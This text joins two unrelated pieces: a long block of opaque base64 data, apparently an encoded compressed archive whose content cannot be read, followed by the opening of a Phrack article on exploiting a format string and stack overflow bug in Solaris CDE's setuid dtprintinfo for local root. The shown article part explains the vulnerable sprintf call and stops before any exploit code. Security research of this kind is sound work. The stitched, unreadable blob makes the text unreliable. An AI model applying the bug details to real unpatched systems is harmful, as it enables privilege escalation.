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

====

Exploiting a Format String Bug in Solaris CDE

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x0d of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑=[ Exploiting a Format String Bug in Solaris CDE ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Marco Ivaldi <raptor@0xdeadbeef.info> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

1 ‑ Intro

2 ‑ The Bug

3 ‑ The Exploit

3.1 ‑ SPARC Stack Layout Woes

3.2 ‑ Fake Printer Setup

3.3 ‑ Environment Setup

3.4 ‑ Write4 Primitive

3.5 ‑ Target Memory Location

3.6 ‑ Custom Shellcode

4 ‑ Outro

5 ‑ Shouts

6 ‑ References

‑‑[ 1 ‑ Intro

"What we do in life echoes in eternity."

‑‑ Maximus Decimus Meridius, https://patchfriday.com/22/

Yes, I'm aware we're living in 2021, but fax machines are still around and so is Solaris. And even if the title of this article may seem a bit anachronistic, I assure you it's still possible to find format string bugs in production code. Especially if you take a look into the formidable mess that is the Common Desktop Environment (CDE), a software that all UNIX hackers from the 90s will remember fondly [0]. It turns out CDE is still being distributed with the latest Solaris 10 version. Solaris 10 itself will be supported at least until January 2024, according to Oracle [1]. As far as I'm aware, it's still used in a lot of critical environments, especially telcos.

In this article I will be dissecting a particularly challenging memory corruption exploit I published in February. It targets a format string bug in the dtprintinfo setuid binary distributed with CDE, in order to achieve local root privilege escalation on unpatched Solaris 10 systems. The bug affects both Intel and SPARC architectures, but here I'm going to focus specifically on SPARC.

This is Phrack, so there's no need to explain what Solaris [2] is, what SPARC [3] is, or how format string bugs [4] are exploited. However, for the perusal of all young hackers reading this I've conveniently listed some references at the end of this article.

‑‑[ 2 ‑ The Bug

"Bugs are by far the largest and most successful class of entity." ‑‑ Encyclopedia of Animal Life

I've been hacking Solaris for quite some time. My first public exploits for this platform are from 2003 [5]. A couple of years ago, in the wake of my INFILTRATE 2019 talk [6], in which I reminisced about the good old days of unmitigated memory corruption vulnerabilities, I received an email from Marti Guasch Jimenez, a security researcher from Spain, who discovered an extraordinary bug in the infamous dtprintinfo CDE Print Viewer binary.

The bug in question is in the check_dir() function. Here's a snippet of pseudocode from Ghidra's decompiler, slightly edited and commented for clarity:

void __0FJcheck_dirPcTBPPP6QStatusLineStructPii(char *param_1, undefined4 param_2, void **param_3, int *param_4, int param_5) {

...

char *pcVar3;

...

char local_724 [300];

char local_5f8 [300];

...

size_t local_c;

...

pcVar3 = getenv("REQ_DIR");

if (pcVar3 == (char *)0x0) {

sprintf(local_724, "/usr/spool/lp/requests/%s/", param_2); } else {

pcVar3 = getenv("REQ_DIR");

sprintf(local_724, pcVar3, param_2); /* VULN */

}

local_c = strlen(local_724);

sprintf(local_5f8, "/var/spool/lp/tmp/%s/", param_2);

...

}

Can you spot the bug? I'm pretty sure you can. Actually, there's more than one bug to spot here. CDE developers managed to achieve something truly remarkable: we have two bugs for the price of one, both in the same line of code! A stack‑based buffer overflow *and* a format string bug. Not to mention the other sprintf()‑related buffer overflows... Wow. This really is code from another era.

I've written a few exploits [7] that target these bugs. On Intel, I was able to exploit both the buffer overflow and the format string bug. On SPARC, on the other hand, I could only exploit the format string bug because of how the stack is laid out, as detailed in section 3.1 below. As a general rule, exploitation on SPARC is usually more painful (and fun) than on Intel.

